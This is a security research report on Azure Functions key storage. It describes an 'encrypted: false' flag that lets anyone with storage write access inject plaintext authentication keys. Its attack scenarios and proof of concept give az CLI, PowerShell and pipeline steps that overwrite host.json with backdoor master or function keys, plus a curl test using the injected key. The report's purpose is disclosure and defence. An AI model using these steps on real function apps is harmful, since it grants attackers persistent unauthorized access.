Author: Security Research Team
Date: January 26, 2026
Classification: Security Research
This research investigates the security mechanisms protecting Azure Functions authentication keys, revealing both robust encryption implementations and critical bypass vulnerabilities. Our findings demonstrate that while Microsoft's Data Protection implementation provides strong cryptographic protection against offline decryption attacks, an architectural flaw in the key deserialization logic allows attackers with storage write access to inject arbitrary authentication keys without requiring decryption capabilities.
| Finding | Severity | Description |
|---|---|---|
encrypted: false Bypass |
Critical | Attackers can inject plaintext keys by setting encrypted: false in key JSON |
| Encryption Key Exposure | High | AzureWebEncryptionKey accessible to function code via environment variables |
| Purpose String Discovery | Medium | Data Protection purpose string "function-secrets" is publicly known |
| Robust Key Derivation | Positive | Offline decryption is not practically feasible despite key exposure |
- Introduction
- Azure Functions Key Architecture
- The Data Protection Framework
- Vulnerability Analysis: The encrypted:false Bypass
- Decryption Research: Can We Decrypt the Keys?
- Assembly Analysis and Runtime Constraints
- Attack Scenarios
- Proof of Concept
- Security Implications
- Recommendations
- Conclusion
- Appendix: Technical Details
Azure Functions provides a serverless compute platform that enables developers to run event-driven code without managing infrastructure. To secure HTTP-triggered functions, Azure implements an authentication key system that validates incoming requests using function keys, host keys, and master keys.
These keys are stored in Azure Blob Storage (or alternatively in the file system, Key Vault, or Kubernetes secrets) and are encrypted using Microsoft's ASP.NET Core Data Protection framework. This research examines the security of this implementation, exploring both the cryptographic protections and potential attack vectors.
- Understand how Azure Functions encrypts and stores authentication keys
- Identify the encryption mechanism and key derivation process
- Determine if keys can be decrypted with available resources
- Discover any bypass mechanisms that could circumvent encryption
- Assess the overall security posture of the key management system
- Function App: Azure Functions v4 (PowerShell worker)
- Runtime Version: 4.1045.200.25555
- Storage: Azure Blob Storage (
azure-webjobs-secretscontainer) - .NET Version: 8.0.22
Azure Functions implements a hierarchical key system:
┌─────────────────────────────────────────────────────────┐
│ Master Key │
│ (Full access to all functions and admin endpoints) │
└─────────────────────────┬───────────────────────────────┘
│
┌─────────────────┼─────────────────┐
│ │ │
▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ Host Keys │ │ System Keys │ │ Function Keys │
│ (All funcs) │ │ (Extensions) │ │ (Per-function)│
└───────────────┘ └───────────────┘ └───────────────┘
Keys are stored in the azure-webjobs-secrets blob container with the following structure:
azure-webjobs-secrets/
└── {site-name}/
├── host.json # Master key, host keys, system keys
├── function1.json # Function-specific keys
├── function2.json
└── ...
Each key file contains JSON with the following structure:
{
"masterKey": {
"name": "master",
"value": "CfDJ8AAAA...[encrypted base64]...",
"encrypted": true
},
"functionKeys": [
{
"name": "default",
"value": "CfDJ8AAAA...[encrypted base64]...",
"encrypted": true
}
],
"systemKeys": [],
"hostName": "myfunction.azurewebsites.net",
"instanceId": "...",
"source": "runtime",
"decryptionKeyId": ""
}Azure Functions uses Microsoft's ASP.NET Core Data Protection framework for key encryption. This framework provides:
- Authenticated encryption (confidentiality + integrity)
- Key rotation and versioning
- Purpose-based key isolation
The encryption is handled by DataProtectionKeyValueConverter in the Azure Functions Host:
// From: DataProtectionKeyValueConverter.cs
public DataProtectionKeyValueConverter(FileAccess access)
: base(access)
{
var provider = Web.DataProtection.DataProtectionProvider.CreateAzureDataProtector();
_dataProtector = provider.CreateProtector("function-secrets");
}Key observations:
- Provider:
Microsoft.Azure.Web.DataProtection.DataProtectionProvider - Purpose String:
"function-secrets" - Interface:
IPersistedDataProtectorwithDangerousUnprotectmethod
The encrypted values follow the Data Protection format:
┌──────────────┬────────────────────┬──────────────────────────────────┐
│ Magic Header │ Key ID │ Encrypted Payload │
│ 4 bytes │ 16 bytes │ Variable │
│ 0x09F0C9F0 │ (GUID or zeros) │ [IV][Ciphertext][HMAC-SHA256] │
└──────────────┴────────────────────┴──────────────────────────────────┘
The magic bytes 09-F0-C9-F0 encode to CfDJ8 in URL-safe Base64, which is why all encrypted values start with this prefix.
The encryption key is derived through a complex chain:
Environment Variable (AzureWebEncryptionKey)
│
▼
SP800-108 KDF (Counter Mode)
│
├── Purpose: "function-secrets"
│
▼
┌──────────────────────────┐
│ Derived Encryption Key │ (256 bits)
│ Derived Validation Key │ (256 bits)
└──────────────────────────┘
│
▼
AES-256-CBC + HMAC-SHA256
The encryption key is sourced from environment variables in priority order:
POD_ENCRYPTION_KEY(Kubernetes environments only)WEBSITE_AUTH_ENCRYPTION_KEYCONTAINER_ENCRYPTION_KEYUtil.GetDefaultKeyValue()(Data Protection fallback)
Analysis of the DefaultKeyValueConverterFactory.cs in the Azure Functions Host revealed a critical logic flaw:
// From: DefaultKeyValueConverterFactory.cs
public IKeyValueReader GetValueReader(Key key)
{
if (key.IsEncrypted)
{
return new DataProtectionKeyValueConverter(FileAccess.Read);
}
return PlaintextValueConverter; // <-- BYPASS!
}When the runtime reads a key from storage, it checks the encrypted boolean property. If set to false, the runtime uses PlaintextKeyValueConverter which simply returns the value as-is, without any validation or integrity checking.
This means an attacker can inject arbitrary authentication keys by:
- Gaining write access to the storage account
- Modifying or creating key JSON files
- Setting
encrypted: falseon injected keys
| Aspect | Impact |
|---|---|
| Authentication Bypass | Attacker can authenticate to any function |
| Privilege Escalation | Master key injection grants admin access |
| Persistence | Injected keys persist across restarts |
| Detection Difficulty | No built-in alerting for key modifications |
Storage Blob
│
▼
SecretManager.GetHostSecretsAsync()
│
▼
IKeyValueConverterFactory.GetValueReader(key)
│
├── if key.IsEncrypted == true
│ └── DataProtectionKeyValueConverter (decrypt)
│
└── if key.IsEncrypted == false
└── PlaintextKeyValueConverter (NO VALIDATION!)
│
▼
Key accepted and usable for authentication
Given that AzureWebEncryptionKey is accessible as an environment variable, can we decrypt encrypted function keys?
| Resource | Availability | Source |
|---|---|---|
AzureWebEncryptionKey |
✅ Yes | Environment variable |
| Purpose string | ✅ Yes | "function-secrets" (source code) |
| Encrypted payload | ✅ Yes | Blob storage access |
| Payload structure | ✅ Yes | Reverse engineering |
We implemented SP800-108 in Counter Mode to derive encryption and validation keys:
function Get-SP800108DerivedKey {
param(
[byte[]]$MasterKey,
[string]$Purpose,
[int]$DerivedKeyLengthBytes = 64
)
$purposeBytes = [Text.Encoding]::UTF8.GetBytes($Purpose)
$hmac = [HMACSHA512]::new($MasterKey)
$counter = 1
$derivedKey = @()
while ($derivedKey.Length -lt $DerivedKeyLengthBytes) {
$counterBytes = [BitConverter]::GetBytes($counter)
if ([BitConverter]::IsLittleEndian) {
[Array]::Reverse($counterBytes)
}
$input = $counterBytes + $purposeBytes + [byte[]]@(0x00)
$block = $hmac.ComputeHash($input)
$derivedKey += $block
$counter++
}
return $derivedKey[0..($DerivedKeyLengthBytes - 1)]
}Result: HMAC validation failed
{
"HmacMatch": false,
"StoredHmacFirst8": "30-01-E3-F0-6A-69-0D-CF",
"ComputedHmacFirst8": "AC-D6-9F-76-F4-9E-38-9E"
}Tried AES-CBC decryption with the raw environment key:
Result: Padding error - incorrect key
Attempted authenticated encryption with AES-GCM:
Result: Authentication tag mismatch
The Microsoft.Azure.Web.DataProtection.DataProtectionProvider.CreateAzureDataProtector() method is implemented in an external, closed-source NuGet package. The key derivation uses additional context that we cannot replicate:
- Application Discriminator: A unique identifier for the application
- Machine Key Context: Platform-specific entropy
- Key Ring Management: Dynamic key selection and rotation
We attempted to load the actual Data Protection assembly from the runtime:
/azure-functions-host/Microsoft.Azure.WebSites.DataProtection.dll
Discovery: The assembly exists and can be loaded, but type enumeration fails:
Microsoft.Azure.WebSites.DataProtection, Version=0.1.6.0
References:
- Microsoft.AspNetCore.DataProtection, Version=2.0.0.0 ❌
Runtime has:
- Microsoft.AspNetCore.DataProtection, Version=8.0.0.0 ✅
The version mismatch prevents type loading, making direct invocation of CreateAzureDataProtector() impossible from the PowerShell worker.
Offline decryption is NOT practically feasible with available resources. The Data Protection implementation provides genuine defense-in-depth through:
- Proprietary key derivation in closed-source assembly
- Version-locked dependencies preventing assembly hijacking
- Process isolation between worker and host
Azure Functions uses a multi-process architecture:
┌─────────────────────────────────────────────────────────────┐
│ Azure Functions Host │
│ (dotnet process - WebHost) │
│ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Microsoft.Azure.WebJobs.Script.WebHost.dll │ │
│ │ Microsoft.Azure.WebSites.DataProtection.dll │ │
│ │ DataProtectionKeyValueConverter │ │
│ │ SecretManager │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │
│ │ gRPC │
│ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ PowerShell Worker Process │ │
│ │ (Isolated) │ │
│ │ │ │
│ │ - Cannot access host's IServiceProvider │ │
│ │ - Cannot load host's assembly versions │ │
│ │ - CAN read environment variables │ │
│ │ - CAN access file system │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Our analysis enumerated assemblies in the /azure-functions-host/ directory:
| Assembly | Purpose |
|---|---|
Microsoft.Azure.WebSites.DataProtection.dll |
Azure-specific Data Protection provider |
Microsoft.AspNetCore.DataProtection.dll |
Core Data Protection (v8.0.0.0) |
Microsoft.AspNetCore.DataProtection.Abstractions.dll |
Interfaces |
Microsoft.Azure.WebJobs.Script.WebHost.dll |
Main host assembly |
Assembly: Microsoft.Azure.WebSites.DataProtection (v0.1.6.0)
├── References: Microsoft.AspNetCore.DataProtection v2.0.0.0
└── Error: System cannot find file (version mismatch)
Runtime Loaded: Microsoft.AspNetCore.DataProtection v8.0.0.0
└── Incompatible with v2.0.0.0 reference
This version binding prevents the isolated worker from using the host's Data Protection infrastructure.
Prerequisites:
- Contributor or Storage Blob Data Contributor role on storage account
- OR compromised storage account keys/SAS tokens
Attack Flow:
1. Identify Function App's storage account
└── az functionapp show --name <app> --query 'storageAccountName'
2. List secrets container
└── az storage blob list --container-name azure-webjobs-secrets
3. Download host.json
└── az storage blob download --container-name azure-webjobs-secrets \
--name <site>/host.json
4. Inject malicious key
└── Add: { "name": "backdoor", "value": "attackerkey", "encrypted": false }
5. Upload modified file
└── az storage blob upload --container-name azure-webjobs-secrets \
--name <site>/host.json --file host.json --overwrite
6. Authenticate using injected key
└── curl "https://<app>.azurewebsites.net/api/<function>?code=attackerkey"
Prerequisites:
- Code execution in a Function App with managed identity
- Managed identity has blob write access
Attack Flow:
# Get access token for storage
$token = (Get-AzAccessToken -ResourceUrl "https://storage.azure.com/").Token
# Modify secrets via REST API
$headers = @{
"Authorization" = "Bearer $token"
"x-ms-version" = "2020-04-08"
"x-ms-blob-type" = "BlockBlob"
}
$maliciousHost = @{
masterKey = @{
name = "master"
value = "injected_master_key"
encrypted = $false
}
} | ConvertTo-Json
Invoke-RestMethod -Uri "$storageUrl/azure-webjobs-secrets/$siteName/host.json" `
-Method Put -Headers $headers -Body $maliciousHostPrerequisites:
- Access to deployment pipeline with storage credentials
Attack Flow:
# Malicious pipeline step
- script: |
# Inject backdoor during deployment
az storage blob download --container-name azure-webjobs-secrets \
--name $(SITE_NAME)/host.json --file host.json
# Modify with jq
jq '.functionKeys += [{"name":"backdoor","value":"secret","encrypted":false}]' \
host.json > host_modified.json
az storage blob upload --container-name azure-webjobs-secrets \
--name $(SITE_NAME)/host.json --file host_modified.json --overwrite{
"masterKey": {
"name": "master",
"value": "CfDJ8AAAA...legitimate_encrypted_value...",
"encrypted": true
},
"functionKeys": [
{
"name": "default",
"value": "CfDJ8AAAA...legitimate_encrypted_value...",
"encrypted": true
},
{
"name": "backdoor",
"value": "attackers_plaintext_key_12345",
"encrypted": false
}
],
"systemKeys": [],
"hostName": "target-function.azurewebsites.net",
"instanceId": "...",
"source": "runtime",
"decryptionKeyId": ""
}{
"keys": [
{
"name": "default",
"value": "injected_function_key",
"encrypted": false
}
]
}# Test the injected key
curl -I "https://target-function.azurewebsites.net/api/SensitiveFunction?code=attackers_plaintext_key_12345"
# Expected: HTTP 200 OK (authenticated)| Layer | Protection | Bypass Risk |
|---|---|---|
| Encryption | Strong (Data Protection) | Low - offline decryption not feasible |
| Integrity | Weak (no signature on JSON) | High - can modify without detection |
| Access Control | Depends on storage RBAC | Medium - often misconfigured |
| Monitoring | Limited | High - no native alerting |
┌─────────────────────────────────────┐
│ LIKELIHOOD │
│ Low Medium High │
┌──────────┼─────────────────────────────────────┤
│ High │ │ Storage │ │
IMPACT │ │ │ Compromise│ │
├──────────┼───────────┼───────────┼─────────────┤
│ Medium │ │ │ UAMI │
│ │ │ │ Priv Esc │
├──────────┼───────────┼───────────┼─────────────┤
│ Low │ Offline │ │ │
│ │ Decrypt │ │ │
└──────────┴───────────┴───────────┴─────────────┘
- Encryption is not the weak point - Microsoft's Data Protection is robust
- Integrity checking is missing - The
encryptedflag is trusted without validation - Storage access = Full compromise - Write access bypasses all key security
- Keys can be read from environment - Defense in depth prevents decryption
-
Remove the encrypted:false bypass
- Always validate key format regardless of
encryptedflag - Implement key format validation (e.g., must match
^CfDJ8[A-Za-z0-9_-]+$)
- Always validate key format regardless of
-
Add integrity protection
- Sign the entire key file with a platform key
- Validate signature before processing
-
Restrict environment variable access
- Move encryption key to secure enclave
- Don't expose to function code
-
Add key modification alerting
- Log all changes to secrets container
- Alert on unencrypted key additions
-
Strict Storage RBAC
# Minimize access to secrets container az role assignment create \ --role "Storage Blob Data Reader" \ --assignee <function-managed-identity> \ --scope "/subscriptions/.../storageAccounts/.../containers/azure-webjobs-secrets"
-
Enable Storage Logging
az monitor diagnostic-settings create \ --resource <storage-account-id> \ --name "BlobAccessLogs" \ --logs '[{"category":"StorageWrite","enabled":true}]'
-
Use Private Endpoints
- Prevent public access to storage account
- Limit attack surface
-
Regular Key Rotation
- Rotate function keys periodically
- Monitor for unexpected key additions
-
Monitor for Anomalies
- Alert on new function keys
- Alert on unencrypted key values
This research reveals a nuanced security landscape for Azure Functions key management. While Microsoft's implementation of the Data Protection framework provides robust cryptographic protection that resists offline decryption attacks even when the encryption key is exposed, the encrypted: false bypass represents a critical vulnerability that undermines these protections.
-
Encryption alone is insufficient - The bypass mechanism allows complete circumvention of cryptographic protections
-
Storage access is the critical control point - Organizations should focus security efforts on protecting blob storage access rather than assuming encryption provides adequate protection
-
Defense in depth works - Despite having the encryption key and purpose string, we could not decrypt values due to additional context in the proprietary implementation
-
Process isolation is effective - The PowerShell worker's inability to access host assemblies prevents runtime exploitation
The most sophisticated attack (decryption) is effectively mitigated, while the simplest attack (setting a boolean to false) completely bypasses security. This highlights the importance of security review across all code paths, not just the cryptographic ones.
Sample Encrypted Value:
CfDJ8AAAAAAAAAAAAAAAAAAAAACOIDYCL_Bjk3yCB5qJSC9rXbenR3nDUummCRxBXz6jAPCVd...
Decoded Structure:
┌─────────────────────────────────────────────────────────────────────┐
│ Offset │ Length │ Field │ Value │
├────────┼────────┼──────────────────────┼────────────────────────────┤
│ 0 │ 4 │ Magic Header │ 09-F0-C9-F0 │
│ 4 │ 16 │ Key ID │ 00-00-00-00-...(zeros) │
│ 20 │ 16 │ Initialization Vector│ 8E-20-36-02-2F-F0-63-93... │
│ 36 │ N-32 │ Ciphertext │ [AES-256-CBC encrypted] │
│ N-32 │ 32 │ HMAC-SHA256 │ 30-01-E3-F0-6A-69-0D-CF... │
└─────────────────────────────────────────────────────────────────────┘
| File | Purpose |
|---|---|
DataProtectionKeyValueConverter.cs |
Encryption/decryption implementation |
DefaultKeyValueConverterFactory.cs |
Key reader/writer selection (contains bypass) |
PlaintextKeyValueConverter.cs |
Passthrough converter for unencrypted keys |
SecretsUtility.cs |
Encryption key retrieval from environment |
SecretManager.cs |
Overall secrets management |
| Variable | Purpose | Accessible |
|---|---|---|
AzureWebEncryptionKey |
Primary encryption key | ✅ Yes |
WEBSITE_AUTH_ENCRYPTION_KEY |
Alternative key source | ✅ Yes |
CONTAINER_ENCRYPTION_KEY |
Container-specific key | ✅ Yes |
POD_ENCRYPTION_KEY |
Kubernetes key | ✅ Yes |
WEBSITE_SITE_NAME |
Function App name | ✅ Yes |
| Function | Purpose |
|---|---|
ListFunctionKeys |
Enumerate secrets file system locations |
DecryptFunctionKeys |
Initial decryption attempts |
DecryptWithPurpose |
Purpose string exploration |
DecryptWithEnvKey |
SP800-108 implementation |
DecryptViaRuntime |
Runtime assembly enumeration |
TestAssemblyLoad |
Assembly loading analysis |
FunctionKeyBypass |
Document findings and PoC |
- This research is original and no existing CVE was found for the
encrypted: falsebypass - Microsoft Security Response Center notification recommended
- Azure Functions Host Source Code: https://github.com/Azure/azure-functions-host
- ASP.NET Core Data Protection: https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/
- NIST SP 800-108: Key Derivation Using Pseudorandom Functions
- Azure Functions Key Management: https://docs.microsoft.com/en-us/azure/azure-functions/functions-bindings-http-webhook-trigger#authorization-keys
This research was conducted for educational and defensive security purposes. Always obtain proper authorization before testing security vulnerabilities.